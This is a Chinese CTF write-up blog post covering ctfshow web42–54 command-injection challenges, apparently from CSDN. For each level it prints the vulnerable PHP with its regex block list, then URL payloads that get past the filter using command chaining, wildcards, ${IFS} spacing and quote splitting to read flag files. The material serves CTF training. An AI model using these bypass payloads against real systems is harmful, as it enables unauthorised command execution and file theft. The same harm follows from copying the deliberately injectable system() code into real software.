【CTFWP】ctfshow-web42-52

已于 2024-08-01 08:44:49 修改
阅读量675 收藏 6
点赞数 23
分类专栏： CTF 文章标签： 安全 网络安全 渗透测试 CTF
于 2024-08-01 08:41:30 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/LongL_GuYu/article/details/140837762
版权

文章目录

web42

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

题目分析：

这段 PHP 脚本是一个简单的 web shell，它允许通过 URL 参数 c 执行系统命令。如果 c 参数被设置，脚本将使用 system() 函数执行传入的命令，并将输出重定向到 /dev/null，这意味着命令的输出将被丢弃，不会显示给用户。如果 c 参数没有被设置，脚本将使用 highlight_file() 函数高亮显示当前脚本文件的内容。

这里是脚本的逐行解释：

  1. <?php：这是 PHP 代码的开始标记。
  2. if(isset($_GET['c'])){：检查 URL 中是否有 c 参数。
  3. $c=$_GET['c'];：如果存在 c 参数，将其值赋给变量 $c。
  4. system($c." >/dev/null 2>&1");：执行变量 $c 中的命令，并重定向标准输出和标准错误输出到 /dev/null。
  5. }else{：如果 c 参数不存在，执行下面的代码块。
  6. highlight_file(__FILE__);：显示当前脚本文件的内容，并高亮显示 PHP 代码。
  7. }：结束 else 代码块。
  8. ?>：这是 PHP 代码的结束标记。

system($c." >/dev/null 2>&1");具体解释

在 PHP 中，system() 函数用于执行一个命令并输出结果。这个函数的典型用法是：

system($command, &$output);

其中 $command 是要执行的命令字符串，$output 是一个变量，用于存储命令的输出。

在代码片段中：

system($c." >/dev/null 2>&1");

这行代码执行了以下操作：

  1. $c 是从 URL 参数 c 获取的值。这意味着如果有人访问这个脚本并提供了一个 c 参数，比如 c=ls，那么 $c 的值将是 ls。

  2. $c." >/dev/null 2>&1" 将 $c 与重定向操作符连接起来。这里的重定向操作符有两个部分：

    • >/dev/null：这将命令的标准输出（stdout）重定向到 /dev/null，这是一个特殊的文件，用于丢弃所有写入到它的数据。这相当于在命令行中使用 >/dev/null。
    • 2>&1：这将命令的标准错误（stderr）重定向到标准输出（stdout）。由于标准输出已经被重定向到 /dev/null，因此标准错误也会被丢弃。

  3. system() 函数执行由 $c 和重定向操作符组成的命令串。由于使用了重定向，命令的输出和错误都不会显示在浏览器中，也不会保存在任何地方。

举例说明：

假设有如下的 URL 访问：

http://example.com/script.php?c=ls

在这个例子中，$c 的值将是 ls，所以 system() 函数将执行以下命令：

ls >/dev/null 2>&1

这将在服务器上列出当前目录的内容，但由于使用了重定向，这些内容不会被显示给用户，也不会保存在任何地方。

黑洞(/dev/null)解释：

在 Unix 和类 Unix 系统中，/dev/null 是一个特殊的文件，它被称为“黑洞”，因为它会丢弃所有写入它的数据。这相当于一个数据的“下水道”，任何发送到 /dev/null 的数据都会被永久删除，不会有任何输出。

以下是一些关于 /dev/null 的说明：

  1. 丢弃数据：当你执行一个命令，并将输出重定向到 /dev/null，比如 command > /dev/null，这意味着命令的输出将不会被显示或保存。

  2. 安静运行：如果一个命令会产生大量输出，但你不需要这些输出，你可以使用 /dev/null 来让命令“安静”地运行。

  3. 错误处理：除了重定向标准输出到 /dev/null，你还可以将标准错误重定向到同一个地方，使用 2>&1 > /dev/null。这样，命令的错误信息也会被丢弃。

  4. 日志记录：在某些情况下，你可能想要运行一个脚本或程序，但又不希望它生成日志文件。通过将输出重定向到 /dev/null，你可以避免生成日志。

  5. 测试：在开发和测试过程中，如果输出不是必需的，使用 /dev/null 可以简化测试过程，专注于其他方面。

  6. 安全性：虽然 /dev/null 本身不涉及安全性问题，但使用它来丢弃可能包含敏感信息的输出可以避免潜在的安全风险。

  7. 环境变量：在 shell 脚本中，/dev/null 有时被用作环境变量，以确保命令不会影响输出。

  8. 系统调用：在编程中，/dev/null 可以作为系统调用的目标，比如在 C 语言中使用 open("/dev/null", "w") 打开一个文件描述符，用于写入数据。

总之，/dev/null 是一个用于丢弃数据的特殊文件，它在 Unix 和类 Unix 系统中广泛使用，以简化命令行操作和提高脚本的灵活性。

payload：

?c=tac flag.php;ls

payload解释：

采用双写绕过?c=tac flag.php;ls 这里呢，是把分号后面的ls写到黑洞里面去了，第一个tac就逃出来了

flag：

ctfshow{505e7f24-823d-4dd4-96f1-2edcdcc4877a}

web43

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

题目解析：

  • 这个相比上题，过滤了分号

  • 除了分号，还可以用&&

  • 要url编码后使用 %26%26

payload：

?c=tac flag.php%26%26ls

flag：

ctfshow{3ff43859-a599-4f16-bcb4-957d4c22a578}

web44

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

题目解析：

  • 这题多过滤了flag
  • 可以使用通配符绕过
  • 通配符有* ?

payload：

?c=tac fl?g.php%26%26ls
?c=tac fl*g.php%26%26ls

flag：

ctfshow{ad1f49da-357e-4b25-98ff-3fc1a0f48820}

web45

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

题目解析：

  • 多过滤了空格，url编码的空格也被过滤了

  • 如果过滤了空格，可以使用：

    <>
%20(space)
%09(tab)

payload：

?c=tac%09fla?.php%26%26ls

flag：

ctfshow{750bf5e9-71c6-4bf8-beb4-b026c0570fbc}

web46

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

题目解析：

  • 对比上一题，把数字也过滤了，还有$、*这两个符号

payload：

?c=tac%09fla?.php%26%26ls

flag：

ctfshow{9b5a8f1e-f342-40f4-b6a8-81d777d0c9ba}

web47

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

题目解析：

  • 多过滤了几个查看文件的命令

  • Linux查看文件命令：

    cat
tac
more
less
head
tail
nl
tailf

payload：

?c=tac%09fla?.php%26%26ls

flag：ctfshow{37269e44-8e76-485c-a966-54a52da88cfd}

web48

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

题目解析：

  • 又多过滤了几个读取文件的命令

payload：

?c=tac%09fla?.php%26%26ls

flag：

ctfshow{570f034a-31d9-4a80-91f6-bc761734dabe}

web49

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

题目解析：

  • 多过滤了%
  • %09的%会被解析成制表符，不算做%

payload：

?c=tac%09fla?.php%26%26ls

flag：

ctfshow{233ec2aa-440f-48dc-8548-9689626fc10d}

web50

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

题目解析：

  • 这个把09和26过滤了，之前的方法就不可以了。得想新不用空格的方法了

  • 使用nl带行号?c=nl<flag.php||ls

    • nl 命令：nl 是一个用于添加行号到文本文件的命令。它通常用于给文本文件的每一行添加行号，以便于引用和阅读。
    • 重定向：< 是一个输入重定向操作符，它允许将文件的内容作为命令的输入。

  • 把||进行url编码%7C%7C

  • flag绕过是采用中间加两个单引号，两个单引号分割字符串执行的时候会被忽略

payload：

?c=nl<fla''g.php%7C%7Cls

flag：

按F12查看

ctfshow{f6ef33bf-57ea-4e5d-aa1f-726595652bf6}

web51

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

题目解析：

  • 多过滤了一个tac

payload：

?c=nl<fla''g.php%7C%7Cls

flag：

ctfshow{0581c93f-a53f-44d4-8d74-83397bfc7b96}

web52

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

题目解析：

  • 这个把<>也过滤了，上面的方法是不行了，但是把$符号放出来了
  • 空格就可以使用$IFS$9，$IFS，${IFS} 来绕过了

payload：

?c=nl${IFS}fla''g.php%7C%7Cls

回显：$flag="flag_here";

查看根目录文件

?c=ls${IFS}/%7C%7Cls

回显：bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

ls -l查看flag详细信息

?c=ls${IFS}-l${IFS}/%7C%7Cls

回显：flag drwxr-xr-x

查看flag文件

?c=nl${IFS}/fla''g%7C%7Cls

flag：

ctfshow{3123e5da-6eb9-44e6-a309-117bb87aba88}

web53

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

题目解析：

  • echo($c);是输出GET传入的参数
  • $d = system($c);是执行c的语句后得到的东西赋值给d
  • echo "<br>".$d;是换行后在输出d的内容
  • echo 'no';是if判断错误的话会输出no

payload：

先查看一下目录

?c=ls${IFS}

回显：

ls${IFS}flag.php index.php readflag
readflag

直接查看flag.php

?c=nl${IFS}fla''g.php

回显：flag

flag：

ctfshow{d2bc773c-85e5-44cb-b04b-eabc11b12d58}

web54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

题目解析：

  • 完全禁用了这些命令
  • 对flag.php的构造可以这样：fl??.??? 甚至可以简化为：???????? 同样，命令也可以进行构造 cat可以构造为?at、c??

payload：

这里的/bin/是指bin目录下检索c??，不然在当前目录是没有这个命令的

?c=/bin/c??${IFS}????????

另外grep命令可以才文件中查找含有的字符串 形式：grep [字符串] [filename]

?c=grep${IFS}ctfshow${IFS}????????

重命名文件也可以

?c=mv${IFS}fl??.???${IFS}a.txt

访问a.txt即可

flag：

ctfshow{f5404f94-7a53-46ee-9153-f9132349bb47}

Long._.L
关注
  • 23
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
ctfshow-web41~60-WP
02-21
ctfshow-web41~60-WPctfshow-web41~60-WP
ctfshow-VIP题目-Web-详细解题思路
01-27
本文档总结了CTFSHOW-VIP题目-Web的详细解题思路，涵盖了多个Web安全领域的知识点，包括WP源码泄露、协议头信息泄露、robots后台泄露、phps源码泄露、源码压缩包泄露、版本控制泄露、vim临时文件泄露、cookie泄露、...
ctfshow-WEB-web8
热门推荐
wangyuxiang946的博客
09-05 2万+
ctf.show WEB模块第8关是一个SQL 注入漏洞, 注入点是数值型, 注入类型推荐使用布尔盲注,此关卡过滤了空格,逗号,and,union等关键字, 1. 过滤空格, 可以使用括号() 或者注释/**/ 绕过 2. 过滤and, 可以使用or替代 3. 过滤union, 可以用盲注替代联合注入 4. 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替 首先确定注入点, 输入...
ctfshow-WEB-web3
wangyuxiang946的博客
08-19 1万+
ctf.show WEB模块的第3关是一个文件包含漏洞,include()函数包含的文件会被执行,我们使用PHP伪协议配合抓包工具进行命令执行,从而获取flag 这一关的flag就存放在网站跟路径下的文件中 php://input可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,enctype=multipart/form-data"时,php:/input将会无效 页面中显示了部分源码,明显是引导我们利用文件包含漏洞进行操作,源码中的inc...
【CTFWP】ctfshow-web36
LongL_GuYu的博客
07-24 1371
CTFWP,ctfshow-web36
【CTFWP】ctfshow-web40
最新发布
LongL_GuYu的博客
07-30 678
CTFWP：ctfshow-web40
CTFShow-Web篇详细wp（持续更新中ing）
Aluxian_的博客
04-23 1064
【代码】CTFShow-Web篇详细wp。
CTFShow-WEB入门篇--信息搜集详细Wp
Aluxian_的博客
06-02 2237
CTFShow-WEB入门篇--信息搜集详细Wp
【CTFWP】ctfshow-web32
LongL_GuYu的博客
07-26 245
CTFWP：ctfshow-web32
CTF_WP-ctfshow-web题解
qq_63600223的博客
03-27 748
注：初心只是为了记录自己的wp，其中也参考了许多大佬的博客，如有引用不当请告知。2024.3.27第一次修改，解决部分图片转存中问题以及目录跳转问题。
【CTFWP】ctfshow-web42
LongL_GuYu的博客
07-23 992
CTFWP，ctfshow-web42
CTFshow-菜狗杯-WEB-变量循环取值-我的眼里只有$
03-04
在CTF（Capture The Flag）比赛中，参赛者通常需要解决各种安全挑战，包括Web漏洞利用、密码学、逆向工程等。这里的"菜狗杯"可能是指比赛的昵称或名称，暗示这是一个初级到中级难度的竞赛，适合新手和进阶者参与。 ...
CTF-Web-Challenge:使用PHP在Web中进行CTF挑战
03-25
在这个"CTF-Web-Challenge"中，你将有机会学习和实践如何在Web环境中识别和利用漏洞。 PHP是一种广泛使用的服务器端脚本语言，特别适合开发动态网站。在CTF挑战中，你可能会遇到的PHP相关知识点包括： 1. **PHP...
ctf-all-in-one
01-30
ctf-all-in-one
科普文：Linux系统安全加固指南
为无为，事无事，味无味。
07-25 1113
本指南仅关注安全性和隐私性，而不关注性能，可用性或其他内容。列出的所有命令都将需要root特权。以“$”符号开头的单词表示一个变量，不同终端之间可能会有所不同。选择一个好的Linux发行版有很多因素。避免分发冻结程序包，因为它们在安全更新中通常很落后不使用与Systemd机制的发行版。Systemd包含许多不必要的攻击面；它尝试做的事情远远超出了必要，并且超出了初始化系统应做的事情。使用musl作为默认的C库。
人工智能：大语言模型提示注入攻击安全风险分析报告下载
cybtec的博客
07-25 1156
大语言模型提示注入攻击安全风险分析报告下载
安全与服务的双重奏：探究ISO20000和ISO27001的企业变革力量
xinbiao001的博客
07-25 968
ISO20000是一个面向机构的IT服务管理标准，旨在提供建立、实施、运作、监控、评审、维护和改进IT服务管理体系（ITSM）的模型。它主要关注的是IT服务管理的流程和质量，帮助企业建立高效的IT服务支持，确保IT服务与企业业务目标一致，提高信息技术服务和运营效率，控制IT风险及相关的成本。例如，华为技术有限公司就通过实施这两项体系，提高了内部IT信息安全管理规范，改善了员工对信息安全服务的认知，提升了品牌形象，并促进了与客户的关系。成功的关键在于管理层对这一过程的承诺，以及员工对标准和流程的认同和遵循。
JAW：一款针对客户端JavaScript的图形化安全分析框架
FreeBuf_的博客
07-25 1731
JAW是一款针对客户端JavaScript的图形化安全分析框架，该工具基于esprima解析器和EsTree SpiderMonkey Spec实现其功能，广大研究人员可以使用该工具分析Web应用程序和基于JavaScript的客户端程序的安全性。7、设计并执行定制的安全相关程序分析，包括预定义 JavaScript 源和接收器之间的数据流分析、控制流和可达性分析、利用 DOM 快照解析 DOM 查询选择器、通过抽象语法树 (AST) 进行模式匹配等；5、支持交互式检测或自动检测不安全的程序行为；
ctfshow-web-web红包题
07-14
### 回答1： ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站，要求我们通过安全漏洞来获得网站的红包。 首先，我们可以检查网站的源代码，寻找可能存在的漏洞。在网站的前端页面中，我们注意到了一个提交订单的功能，并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时，查询结果会返回所有订单记录，而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来，我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程，直接获取红包的信息。 最终，我们成功地利用了网站存在的漏洞，获取到了红包的相关信息。这个过程展示了在网络安全竞赛中，如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中，我们需要具备对SQL注入漏洞的理解和掌握，并且需要有一定的编程和网络安全知识。通过解决这样的题目，我们可以提高我们对网络安全攻防的认识和技能，以更好地保护网络安全。 ### 回答2： ctfshow-web-web红包题是一个CTF（Capture the Flag）比赛中的Web题目，目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛，在这种比赛中，参赛者需要通过解决各种不同类型的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞，我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先，我们可以查看网页源代码，寻找可能的注入点、敏感信息或其他漏洞。同时，我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容，找到可能存在的漏洞、密钥或其他敏感信息。 其次，我们可以进行输入测试，尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果，我们可以得到一些重要的信息和线索。 最后，我们可以分析服务器响应和错误信息，查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外，我们还可以使用常见的Web漏洞扫描工具，如Burp Suite、OWASP ZAP等，来辅助我们发现潜在的漏洞。 通过以上的分析和测试，我们有可能找到获取红包的方法。然而，具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中，每个题目的设置都可能不同，解题的方法和思路也会有所差异。因此，在解题过程中，要保持敏锐的观察力和灵活的思维，尝试不同的方法和技巧，才能成功获取红包并完成任务。 ### 回答3： ctfshow-web-web红包题是一个CTF比赛中的网络题目，其目标是寻找并利用网页内的漏洞，获取红包。 首先，我们需要分析该网页的源代码，寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中，可能存在的漏洞包括但不限于： 1. 文件路径遍历漏洞：通过对URL的参数进行修改，尝试访问其他目录中的文件。 2. XSS漏洞：通过在用户输入的地方注入恶意代码，实现攻击者想要的操作。 3. SQL注入漏洞：通过修改数据库查询参数，获取未授权的数据。 4. 文件上传漏洞：上传恶意文件并执行。 一旦发现漏洞，我们需要进一步利用它们来获取红包。例如，如果存在文件路径遍历漏洞，我们可以尝试通过修改URL参数的方式，访问网站服务器上存放红包的文件目录，获取目录中的文件。 如果存在XSS漏洞，我们可以尝试在用户输入的地方注入一段JavaScript代码，以获取网页中的敏感信息或执行一些恶意操作，如窃取cookies。 如果存在SQL注入漏洞，我们可以尝试通过修改数据库查询参数，获取未授权的数据，如红包的具体位置或密码。 如果存在文件上传漏洞，我们可以尝试上传一个特殊设计的恶意文件，以执行任意命令或获取服务器上的文件。 综上所述，ctfshow-web-web红包题需要我们深入分析网页代码，发现可能存在的漏洞，并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解，并具备相关的漏洞利用技术。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值